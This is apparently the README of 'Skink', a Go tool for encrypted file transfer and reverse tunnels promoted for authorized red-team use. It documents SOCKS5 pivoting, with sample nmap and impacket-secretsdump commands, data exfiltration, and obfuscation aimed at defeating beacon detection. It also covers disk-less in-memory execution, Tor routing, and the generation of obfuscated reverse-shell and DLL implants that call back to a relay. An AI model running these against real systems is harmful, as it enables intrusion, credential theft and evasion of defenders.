README
¶
Skink — encrypted file transfer & tunnel platform
Skink is a file transfer tool and a full-featured reverse tunnel platform (ngrok/frp/Chisel-like). Move files, expose local services, or route entire toolchains through a single encrypted tunnel.
Inspired by croc — extended with SOCKS5 proxying, multi-hop relay chaining, WSS transport, and Noise Protocol encryption.
Why Skink?
Most tunnel tools make you choose: simple or secure, fast or configurable, CLI-friendly or feature-rich. Skink doesn't.
It gives you ngrok-style reverse tunnels with PFS rekeying, per-tunnel ACLs, traffic obfuscation, and HA clustering — all in a single static Go binary with zero runtime dependencies. File transfer, SOCKS5 proxy, remote exec, and MCP AI-agent integration ship in the same binary.
Whether you're exposing a dev server through NAT, routing a red team C2 through three chained relays, or scripting file transfers in CI: one binary, one syntax, one encrypted channel.
Pentesting & Red Team Usage
Skink is particularly well-suited for authorized penetration testing and red team operations.
Common Workflows:
- SOCKS5 Pivot:
skink tunnel --type socks5— route nmap, impacket, CrackMapExec, etc. through one encrypted channel. - Stealthy Access: Private tunnels + access token (no open ports exposed).
- Multi-hop Pivoting: Chain relays for better OPSEC.
- Data Exfil: Encrypted, resumable
skink sendover existing tunnels or Tor. - Persistent Access: Session persistence + HA clustering + rekeying.
Example:
skink tunnel --server relay:9090 --type socks5 \
--acl-allow "10.0.0.0/8,*.target.corp" \
--rekey-interval 3600
Comparison to Similar Tools:
| Tool | File Transfer | SOCKS5 | Multi-hop | Stealth Features | Persistence/HA | Size | Best For |
|---|---|---|---|---|---|---|---|
| Skink | Excellent | Yes | Excellent | High (Noise, obfuscation) | Excellent | Small | Full-spectrum ops |
| Chisel | None | Yes | Good | Medium | Good | Tiny | Simple pivots |
| frp | Basic | Yes | Good | Low | Good | Small | Enterprise |
| ligolo-ng | None | Yes | Good | Good | Good | Small | Layer 3 speed |
| ngrok | Basic | Limited | Limited | Medium | Excellent | Small | Quick exposure (noisy) |
Security & Resilience Highlights
| Area | Feature |
|---|---|
| Forward secrecy | ECDH P-256 rekeying (--rekey-interval) |
| Encryption at rest | AES-256-GCM encrypted state files (--state-key) |
| Per-tunnel ACLs | IP/CIDR/domain allow/deny (--acl-allow, --acl-deny) |
| Session resilience | Persistence + resume + HA clustering + live migration |
| Traffic obfuscation | Random padding + heartbeat jitter + dummy traffic padding |
| In-memory execution | --memexec — memfd_create + execveat (disk-less on Linux) |
| Container tuning | --memlimit — Go soft memory limit for OOM prevention |
| Socket optimization | TCP_FASTOPEN, QUICKACK, NOTSENT_LOWAT, BBR (Linux) |
📖 Deep-dive article: Skink: From Secure File Transfer to Full-Spectrum OPSEC Tunnel Platform — a comprehensive technical walkthrough covering the architecture, design decisions, and operational use cases across all transports and tunnel types.
Install
Download a pre-built binary (from the latest release):
# Linux amd64 example — see the releases page for darwin/windows/arm64
curl -L -o skink.tar.gz https://github.com/octagono/skink/releases/latest/download/skink-linux-amd64.tar.gz
tar xzf skink.tar.gz
sudo install skink-linux-amd64 /usr/local/bin/skink
Build from source (requires Go 1.21+):
git clone https://github.com/octagono/skink.git
cd skink
make # builds ./skink with version info from git tags
install skink ~/.local/bin/ # or /usr/local/bin
Or with go install:
go install github.com/octagono/skink@latest
Build variants (build-tunnel, build-transfer, build-mcp) are documented in Build system below. See releases for tagged versions.
Quick start
skink send file.txt # send file
skink # receive (prompts for code)
skink relay --tunnel-port 9090 # start relay with tunnel support
skink tunnel --server relay:9090 --type tcp --local localhost:22 # expose SSH
skink tunnel --server relay:9090 --type socks5 --socks5-port 1080 # SOCKS5 proxy
skink exec --server relay:9090 -- ls -la /etc # remote exec on relay
skink noise-keygen # generate Noise keypair
skink payload shell --relay relay:9090 --pass SECRET # reverse shell payload
Features
File transfer
- End-to-end encrypted file transfer (PAKE + NaCl secretbox)
- Multi-file, folder, text paste
- Resume interrupted transfers
- Local LAN discovery
Tunnel platform
| Feature | Usage | Description |
|---|---|---|
| HTTP tunnel | --type http |
Expose local web server through public URL |
| TCP tunnel | --type tcp |
Forward any TCP service (SSH, RDP, reverse shell) |
| UDP tunnel | --type udp |
Datagram framing over multiplexed stream |
| SOCKS5 proxy | --type socks5 |
Route ALL tools through one tunnel (nmap, curl, impacket) |
| Private tunnel | --private |
No public port — access by token only |
Transports
| Transport | Flag | Use case |
|---|---|---|
| TCP (default) | --transport tcp |
Standard, lowest overhead |
| WSS | --transport wss |
WebSocket Secure — bypasses DPI, utls Chrome JA3 fingerprint |
| QUIC | --transport quic |
HTTP/3 transport — native multiplexing (no head-of-line blocking), 1-RTT TLS 1.3 |
| Named pipe | --transport pipe |
Windows SMB named pipe transport for lateral movement |
Advanced Tunnel Features
Multi-hop relay chaining
Chain relays for opsec: Target → Relay-C → Relay-B → Relay-A → You
skink relay --tunnel-port 9090 # edge (public)
skink relay --tunnel-port 9091 --upstream edge:9090 # middle (pivot)
skink tunnel --server pivot:9091 --type socks5 # target
Each relay only knows the next hop. The upstream allocates ports and handles connections.
Private tunnel sharing
Expose a service through the relay without a public port. Access is granted by token — no URL to scan, no port to probe.
# Relay side: register a private tunnel
skink tunnel --server relay:9090 --type tcp --local localhost:22 --private
# Output includes an access token (e.g. "access_token: a1b2c3d4...")
# No public port is allocated on the relay.
# Client side: connect to the private tunnel
skink tunnel --server relay:9090 --access a1b2c3d4... --local localhost:2222
# Now ssh user@localhost:2222 routes through the relay to the private service
- No public endpoint exposed — service is dark to internet scanners
- Access token is the sole authorization; relay cannot decrypt payload
- Works with all tunnel types (TCP, HTTP, UDP)
- Bridge uses existing yamux multiplexing through the relay data port
Session resumption & persistence
Tunnels survive relay restarts. The relay persists state to a JSON file; clients reconnect with their saved tunnel ID instead of re-registering.
# Relay: persist tunnel state so tunnels survive restart
skink relay --tunnel-port 9090 --persist /var/lib/skink/state.json
# Client: reconnect with saved tunnel ID (instead of fresh registration)
skink tunnel --server relay:9090 --type http --local localhost:3000 --resume /tmp/tunnel-resume.json
When the client reconnects after a network drop or relay restart, it sends the saved tunnel ID. The relay looks up the persisted state and resumes without requiring re-registration. If resume fails (relay has no such tunnel), the client falls back to a fresh registration automatically.
Relay HA clustering
Run multiple relays that share tunnel state. When a tunnel registers or unregisters on one relay, it syncs to all peers.
# Relay A (primary)
skink relay --tunnel-port 9090 --persist /shared/skink.json --sync-port 9400
# Relay B (backup) — syncs with A
skink relay --tunnel-port 9091 --persist /shared/skink.json --sync-port 9401 \
--sync-peers relayA:9400
# Client: comma-separated server failover list
skink tunnel --server relayA:9090,relayB:9091 --resume /tmp/resume.json --type tcp --local :22
The client tries each server in order. With shared state and --resume, the
tunnel reconnects to whichever relay is available.
Per-tunnel resource controls
Set connection limits, bandwidth caps, and idle timeouts per tunnel:
skink tunnel --server relay:9090 --type tcp --local :22 \
--max-connections 10 --bandwidth-limit 1048576 --idle-timeout 300
Limits are sent in the tunnel registration and enforced by the relay:
--max-connections: concurrent proxy connection cap (0=unlimited)--bandwidth-limit: bytes/sec per tunnel (0=unlimited)--idle-timeout: proxy connection idle timeout in seconds (0=default 30s)
Dynamic split tunneling
Route traffic through the tunnel or bypass it using domain names or CIDRs. Supports wildcard domains, exact domains, and CIDR notation in the same rules:
# Route corporate CIDRs and domains through the tunnel; bypass everything else
skink tunnel --server relay:9090 --type socks5 \
--route 10.0.0.0/8,*.corp.internal,*.sso.corp.com \
--bypass 0.0.0.0/0,*.public-cdn.com
Domain patterns (*.example.com) are checked before DNS resolution. If the
destination domain matches a route or bypass pattern, the decision is made
immediately without resolving.
Traffic obfuscation
Random padding per message makes traffic analysis harder. Combine with heartbeat jitter for stealth:
skink tunnel --server relay:9090 --type socks5 \
--padding-min 64 --padding-max 1024 --heartbeat-jitter 0.4
Padding is applied to every tunnel control message. The relay strips padding before processing. Timing jitter on heartbeats (±40% with --heartbeat-jitter 0.4) makes beaconing detection difficult.
Dummy traffic padding
Inject periodic dummy heartbeat messages during idle periods to mask tunnel activity from traffic analysis:
skink tunnel --server relay:9090 --type socks5 --dummy-traffic 30s
Sends heartbeat messages with random 32–96 byte padding at the specified interval. Combined with heartbeat jitter, this breaks the silence pattern that ML-based traffic classifiers detect.
In-memory execution
Receive a binary payload and execute it directly from memory — no disk
artifact on Linux (uses memfd_create + execveat):
SKINK_SECRET=XXX skink --memexec --yes
On Linux the process appears as /memfd:ld-linux.so.2 in /proc. On other
platforms, falls back to temp file + exec + unlink.
PFS rekeying
Periodic key rotation for long-lived tunnels using ECDH P-256 over the encrypted control channel:
skink tunnel --server relay:9090 --type tcp --local :22 --rekey-interval 1800
Fresh ECDH keypair generated each interval. Shared secret derived via ECDH, new session key = SHA256(old_key || shared_secret). Both sides switch atomically. No connection drop.
Connection migration
Move a live tunnel to another relay without restarting:
skink tunnel --server relay-a:9090 --type tcp --local :22 --migrate relay-b:9090
Establishes new control connection + resume to target relay, closes old connection, re-establishes data session on target's data port.
Per-tunnel ACLs
Fine-grained access control inside tunnels:
skink tunnel --server relay:9090 --type socks5 \
--acl-allow "10.0.0.0/8,*.internal.corp,192.168.0.0/16" \
--acl-deny "0.0.0.0/0"
Supports IP, CIDR, and domain patterns. Checked on every proxy connection
in RequestProxy before forwarding.
Built-in compression
Configurable compression per tunnel with auto-negotiation:
skink tunnel --server relay:9090 --type http --local :3000 --compress gzip
Options: deflate (default), gzip, none. Applied to all tunnel control
messages and data streams.
Domain regex routing
Extend split tunneling with regex domain patterns:
skink tunnel --server relay:9090 --type socks5 \
--route "re:.*\.corp\.example\.(com|net)" \
--bypass "re:.*\.public-cdn\.com"
Prefix patterns with re: for regex matching. Works alongside CIDR and
wildcard domain patterns in --route/--bypass.
STUN / NAT traversal
Discover your public address via STUN for UDP hole punching:
skink tunnel --server relay:9090 --stun-server stun.l.google.com:19302
Prints the public IP:port discovered via STUN binding request. Useful for debugging NAT traversal with UDP tunnels.
Embedded lite relay
Spawn a minimal in-process relay for direct P2P fallback:
skink tunnel --server main-relay:9090 --embedded-relay 9999
When the main relay is unreachable, the embedded relay accepts tunnel connections directly on port 9999 with PAKE authentication.
Adaptive window tuning
Auto-tune yamux stream window based on measured RTT:
skink tunnel --server relay:9090 --adaptive-window
Sends RTT probe messages every 5 seconds. Smoothed RTT adjusts the yamux window to match Bandwidth-Delay Product (BDP) for optimal throughput on high-latency links.
Configurable DNS in SOCKS5
Control where DNS resolution happens in SOCKS5 proxy mode:
skink tunnel --server relay:9090 --type socks5 --dns remote
Modes: remote (default — relay resolves), local (client resolves
before forwarding), both (try local, fallback to remote).
Encrypted state files
State files persisted via --persist are encrypted at rest with AES-256-GCM:
skink relay --tunnel-port 9090 --persist /var/lib/skink/state.json --state-key "your-master-key"
Key defaults to SHA-256 of relay password. Use --state-key for a
dedicated key. Use --persist :memory: for in-memory only (no disk).
REST API
Manage tunnels programmatically via a local HTTP API on the relay.
# Start relay with API enabled
skink relay --tunnel-port 9090 --api-port 9093 --api-token my-secret-token
# List all tunnels
curl -H "Authorization: Bearer my-secret-token" http://127.0.0.1:9093/api/v1/tunnels
# Get specific tunnel
curl -H "Authorization: Bearer my-secret-token" http://127.0.0.1:9093/api/v1/tunnels/<id>
# Delete a tunnel
curl -X DELETE -H "Authorization: Bearer my-secret-token" http://127.0.0.1:9093/api/v1/tunnels/<id>
# Server status
curl http://127.0.0.1:9093/api/v1/status
Binds to 127.0.0.1 only. Bearer token authentication is optional but recommended.
Endpoints return JSON. No web dashboard dependency — pipe through jq or any HTTP client.
Config hot-reload
Change routing rules, heartbeat parameters, or split-tunnel CIDRs without restarting the tunnel.
# Start tunnel with config file and enable hot-reload
skink tunnel --config skink-tunnel.yaml --watch
Edit skink-tunnel.yaml while the tunnel runs — changes to routes, bypass_routes, heartbeat_interval, and heartbeat_jitter apply immediately. Active connections are not dropped. The watcher uses fsnotify internally.
# Example: update routes live by editing this file
server: relay:9090
type: socks5
heartbeat_interval: 60
routes:
- 10.0.0.0/8
bypass_routes:
- 0.0.0.0/0
Remote exec through relay
Prerequisite: The relay must be started with --allow-exec (off by default).
# On the relay (VPS):
skink --pass SECRET relay --tunnel-port 9090 --allow-exec
# On the client:
skink exec --server relay:9090 -- ls -la /etc
skink exec --server relay:9090 -- cat /etc/os-release
skink exec --server relay:9090 -- id
Commands run on the relay (or tunnel target). Structured JSON response with
stdout, stderr, and exit code. Uses yamux EXEC| prefix streams. Without
--allow-exec on the relay, exec returns {"error":"exec disabled on this relay"}.
Docker deployment
# Start relay with docker compose:
docker compose up -d
# Or manual:
docker build -t skink .
docker run -d --name skink-relay \
-p 9009-9013:9009-9013 \
-p 9090:9090 -p 9091:9091 \
-p 8080:8080 \
-e SKINK_PASS=changeme \
skink
Multi-stage Dockerfile, docker-compose with healthcheck.
JSON structured logging
skink relay --log-format json | jq 'select(.level == "error")'
skink tunnel --log-format json | jq -c '{msg: .message}'
Newline-delimited JSON: level, message, timestamp, app. Pipe through
jq for filtering — no web dashboard needed.
MCP server (AI agent integration)
Skink ships with an MCP (Model Context Protocol) server that lets AI agents use Skink's capabilities as native tools.
# Build the MCP server binary
make build-mcp
# Start the MCP server (stdio transport)
skink-mcp
Agents communicate with Skink through 10 tools and 5 resources:
| Tool | Description |
|---|---|
send_file |
Encrypted file transfer with path validation |
receive_files |
Receive files with a code phrase |
tunnel_start |
Expose local services (public or private) |
tunnel_stop |
Stop a tunnel by ID |
tunnel_list |
List active tunnels on a relay |
tunnel_access |
Connect to a private tunnel |
relay_start |
Start a relay server |
generate_code |
Generate a random transfer code |
noise_keygen |
Generate Noise keypair |
version |
Get Skink version |
Client configuration:
| OpenCode (opencode.jsonc) | Claude Desktop |
|---|---|
|
|
Resources (loaded as context by the agent):
| URI | Description |
|---|---|
skink://version |
Binary version info |
skink://help |
Command summary |
skink://tunnels/{server} |
Active tunnels on a relay |
skink://status/{server} |
Relay status and metrics |
skink://relay/config |
Default configuration reference |
Architecture
The MCP server wraps the skink CLI via os/exec with the --agent flag.
This provides process isolation (a crash in file transfer doesn't take down
the agent session), avoids circular Go import issues, and fully leverages
the structured --output json format.
All file operations are restricted to a configurable working directory.
Tunnel connections can be restricted to an allowlist of relay hosts.
Commands run with configurable timeouts via exec.CommandContext.
Agent skill (agentskills.io)
The repo ships a discoverable agent skill at .agents/skills/skink/ so that opencode, Claude Code, and Cursor automatically load skink usage guidance — command reference, the critical gotchas (global flag ordering, tunnel data-port = control+1, transport constraints for proxying), and operational patterns (reverse shells, Tor/onion, multi-hop). Agents discover it from the project .agents/skills/ directory; no configuration needed.
AI agent mode
Skink is designed for AI agent and automation use. Every command supports structured JSON output and semantic exit codes.
# Single flag enables all agent-friendly defaults
skink --agent --version
# → {"status":"ok","data":{"version":"v1.0.0"}}
# Structured output for all commands
skink --agent send file.txt
# → {"status":"ok","data":{"code":"...","url":"..."}}
# Error handling with exit codes
skink send --code bad
# exit code 2 (auth failure) — agent can branch on the code
# Per-command JSON output (without agent mode)
skink send --output json file.txt
skink tunnel --server relay:9090 --output json
Exit codes
| Code | Meaning | Agent action |
|---|---|---|
0 |
Success | Proceed |
1 |
General error | Inspect stderr, retry or abort |
2 |
Auth failure | Rotate credentials, refresh token |
3 |
Network error | Retry with exponential backoff |
4 |
Bad input | Validate args, file paths, config |
5 |
Timeout | Increase timeout or retry later |
6 |
Unavailable | Resource not found |
Output formats
| Flag | Effect |
|---|---|
--output json / -o json |
Wraps result in {"status":"ok","data":{...}} envelope |
--output text |
Default human-readable output |
--agent |
Sets --quiet --log-format json --output json --yes in one flag |
--version --output json |
Structured version metadata for binary pre-flight checks |
Build system
# Standard build:
make
# PGO-optimized build (2-14% faster, requires ./default.pgo profile):
make build-pgo
# Tunnel-only (~2MB with UPX):
make build-tunnel
# Transfer-only (no tunnel):
make build-transfer
# MCP server for AI agent integration (Claude, Cursor, OpenCode):
make build-mcp
# Cross-platform release matrix (linux/darwin/windows, multi-arch):
make release
# Artifacts in ./build/ with SHA256 checksums
# garble obfuscated builds (symbol obfuscation for red-team/research use):
make garble # full build with -literals -tiny -seed=random
make garble-tunnel # tunnel-only
make garble-release # cross-compile all platforms
# Software bill of materials:
make sbom
# Lint, vet, format:
make check
Memory & performance tuning
# Reduce yamux buffer for constrained targets:
skink relay --yamux-window 1048576
skink tunnel --server relay:9090 --yamux-window 2097152
# Set Go memory limit to avoid OOM on constrained systems:
skink relay --memlimit 256 # 256 MB soft limit
# or: SKINK_MEMLIMIT=256 skink relay
Yamux window: Default 16MB. Lower = less memory per connection. Higher = more throughput on high-latency links. As a rule of thumb, set to bandwidth × RTT (the bandwidth-delay product). For a 100ms RTT link at 100Mbps, a 1.25MB window is sufficient. For cross-continental links at 1Gbps, consider 64MB.
Buffer pooling: All tunnel proxy streams use a sync.Pool of 32KB buffers instead of allocating per-stream. The comm layer (MAGIC_BYTES framing) pools write buffers for messages >1KB (stack-allocated for smaller). The tunnel store caches AES-GCM AEAD objects per key instead of recreating per message. This eliminates allocation churn on the GC for sustained transfers.
--memlimit (Go 1.19+): Sets a soft memory limit via debug.SetMemoryLimit. The Go runtime triggers GC aggressively only when approaching the limit. Below the limit, GC runs less often, reducing CPU overhead. Set to 80% of available RAM for containers.
TCP socket tuning (Linux): All tunnel and relay TCP connections apply a production socket option suite: TCP_NODELAY (disable Nagle), TCP_QUICKACK (immediate ACKs, re-armed after each read), TCP_NOTSENT_LOWAT (128KB bufferbloat prevention), BBR congestion control. Listeners use TCP_FASTOPEN (saves 1 RTT per connection). Proven by Minio, Xray-core, 9seconds/mtg.
TCP_NODELAY: Disabled Nagle's algorithm on all tunnel TCP connections — ensures SSH keystrokes and interactive traffic are sent immediately, not buffered.
Zero-copy (Linux): TCP-to-TCP proxy paths use splice(2) through a kernel pipe buffer, bypassing user-space entirely. File-to-socket transfers use sendfile(2). Non-Linux platforms and non-TCP connections (WSS, QUIC, named pipes) fall back to pooled io.CopyBuffer.
QUIC transport: --transport quic uses HTTP/3 with native stream multiplexing — a lost packet on one stream doesn't stall others (no head-of-line blocking). 1-RTT TLS 1.3 handshake. No yamux layer needed.
Fuzz testing: Run make fuzz to exercise all ingress parsers (stream headers, message frames, YAML config, mnemonicode) with random inputs for 30s each.
Detailed usage
Send files
skink send file.txt
skink send file1.txt file2.txt
skink send --code secret-pass file.txt
skink send folder-name
Receive files
skink # prompts for the receive code
skink my-code # pass the code directly
skink word1 word2 word3 # multi-word mnemonicode phrase
Use a relay
skink send --relay myrelay.example.com:9009 file.txt
skink --relay myrelay.example.com:9009 # receive from a specific relay (prompts for code)
Use a proxy
--socks5 and --connect route skink's outbound connections through a SOCKS5 or HTTP CONNECT proxy. They apply to every command — send, receive, tunnel, exec, and relay. Local targets (loopback, LAN IPs, localhost) bypass the proxy automatically.
# File transfer through a proxy
skink --socks5 127.0.0.1:9050 send file.txt
skink --connect http://proxy:8080 send file.txt
# Tunnel / reverse shell through a proxy (e.g. Tor on :9050)
skink --socks5 127.0.0.1:9050 tunnel --server relay:9090 --type tcp --local localhost:22
# exec routes through the same proxy
skink --socks5 127.0.0.1:9050 exec --server relay:9090 -- id
- The proxy performs remote DNS resolution, so
.onionaddresses resolve correctly through Tor. - Use
--transport tcporwsswhen proxying — QUIC uses UDP and cannot traverse a TCP proxy. - Multi-hop relay chaining (
--upstream) honors--socks5/--connecttoo.
Tor and onion services
Route any skink operation through Tor, or expose your relay as a Tor hidden service for NAT-free, attribution-light access (no public IP, no inbound ports, no certificate-transparency footprint).
Client through Tor (Tor's SOCKS5 listener defaults to 127.0.0.1:9050):
skink --socks5 127.0.0.1:9050 send --relay abc...xyz.onion:9009 file.txt
skink --socks5 127.0.0.1:9050 tunnel --server abc...xyz.onion:9090 --type tcp --local localhost:22
Relay as a Tor onion service — add to /etc/tor/torrc on the relay box, then peers connect to the generated .onion address via --socks5:
HiddenServiceDir /var/lib/tor/skink/
HiddenServicePort 9009 127.0.0.1:9009 # file transfer
HiddenServicePort 9090 127.0.0.1:9090 # tunnel control
HiddenServicePort 9091 127.0.0.1:9091 # tunnel data
HiddenServicePort 8080 127.0.0.1:8080 # tunnel http proxy (optional)
Notes
- Tor is TCP-only — use
--transport tcp|wss; QUIC won't traverse it. - Tor circuits rotate (~10 min) and can drop long sessions; pair tunnel clients with auto-reconnect (
--heartbeat-intervalwith short timeout) for automatic reconnection. - Interactive tunnels are latency-bound on Tor (expect seconds of RTT).
- Tor traffic is itself fingerprintable — use obfs4 bridges or Snowflake on networks that block Tor.
Tunnel usage
# Relay with tunnel support, health checks, metrics
skink relay --tunnel-port 9090 --tunnel-http-port 8080 \
--health-check-interval 30 --metrics-port 9091
# Expose local services
skink tunnel --server relay:9090 --type http --local localhost:3000
skink tunnel --server relay:9090 --type tcp --local localhost:22 --password secret
skink tunnel --server relay:9090 --type udp --local localhost:1194
# SOCKS5 — route any tool through the tunnel
skink tunnel --server relay:9090 --type socks5
# proxychains4 nmap -sT -Pn 10.0.1.0/24 -p 445
# proxychains4 impacket-secretsdump DOMAIN/user@10.0.1.10
# With TLS wrapping, WSS transport, and Noise
skink tunnel --server relay:9090 --type socks5 --transport wss \
--heartbeat-interval 300 --heartbeat-jitter 0.5
Config file
# skink-tunnel.yaml
server: relay.example.com:9090
type: tcp
local: localhost:22
tls: true
tls_skip_verify: true
heartbeat_interval: 300
heartbeat_jitter: 0.5
private: false # enable private tunnel mode
access_token: "" # for connecting to a private tunnel
routes: # split tunnel CIDRs
- 10.0.0.0/8
bypass_routes: # bypass tunnel CIDRs
- 0.0.0.0/0
skink tunnel --config skink-tunnel.yaml # load config
skink tunnel --config skink-tunnel.yaml --watch # load + hot-reload on changes
Payload generation
Generate standalone deployable binaries with baked-in relay configuration.
No config files or env vars at runtime — everything is compiled into the binary.
Must be run from within the skink source tree (directory containing go.mod).
skink payload shell --relay relay:9090 --pass SECRET # reverse shell
skink payload exec --relay relay:9090 --pass SECRET # command exec agent
skink payload socks --relay relay:9090 --pass SECRET # SOCKS5 pivot
skink payload dll --relay relay:9090 --pass SECRET # Windows DLL
# Cross-compile for any target
skink payload shell --relay relay:9090 --pass SECRET \
--os windows --arch amd64 --outfile payload.exe
# Obfuscate with garble (-literals -tiny -seed=random)
skink payload shell --relay relay:9090 --pass SECRET --garble
# Custom subdomain, heartbeat, and jitter
skink payload shell --relay relay:9090 --pass SECRET \
--subdomain myshell --heartbeat 60 --jitter 0.5 --dummy-traffic 30s
The generated binary connects back through the relay on execution.
Template sources: cmd/payload-{shell,exec,socks,dll}/.
Privacy & security
- Encryption: PAKE (Password Authenticated Key Exchange) + NaCl secretbox (XChaCha20-Poly1305)
- Zero-knowledge relay: The relay cannot decrypt transferred data
- Noise Protocol: Optional NK handshake for double-encryption through TLS inspection
- Auth options: Password, bearer token, SSH public key
- Rate limiting: Per-IP token bucket, IP allowlists, connection caps
Build quality
make build # standard build
make build-mcp # MCP server for AI agent integration
make release # cross-platform release matrix + SHA256 checksums
make test # run tests
make test-race # run tests with race detector
make test-cover # coverage report
make lint # golangci-lint
make vet # go vet
make fmt # check formatting
make check # lint + vet + format
make sbom # software bill of materials
License
MIT
Legal & ethical use
Skink is a tool for legitimate security research, penetration testing, and operational security. It provides encrypted file transfer and tunnel capabilities that can also be used for unauthorized network access if misused.
By using this software, you agree that:
- You will only use Skink on systems you own or have explicit written authorization to test.
- You are solely responsible for complying with all applicable local, state, federal, and international laws.
- The authors and contributors are not liable for any damage or legal consequences arising from misuse of this tool.
- Skink's encryption and tunnel privacy features are provided for defense-in-depth in authorized operations — not for circumventing security controls without permission.
- Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA) and similar laws worldwide.
Inspired by croc. Built for authorized operational use only.
Documentation
¶
There is no documentation for this package.
Directories
¶
| Path | Synopsis |
|---|---|
|
cmd
|
|
|
mcp
command
Skink MCP Server — Model Context Protocol interface for Skink.
|
Skink MCP Server — Model Context Protocol interface for Skink. |
|
payload-dll
command
Payload DLL: Windows DLL that connects back through Skink relay.
|
Payload DLL: Windows DLL that connects back through Skink relay. |
|
payload-exec
command
Payload: remote command execution agent through Skink relay.
|
Payload: remote command execution agent through Skink relay. |
|
payload-shell
command
Payload: reverse shell through Skink relay.
|
Payload: reverse shell through Skink relay. |
|
payload-socks
command
Payload: SOCKS5 proxy tunnel through Skink relay.
|
Payload: SOCKS5 proxy tunnel through Skink relay. |
|
src
|
|
|
install
command
|
|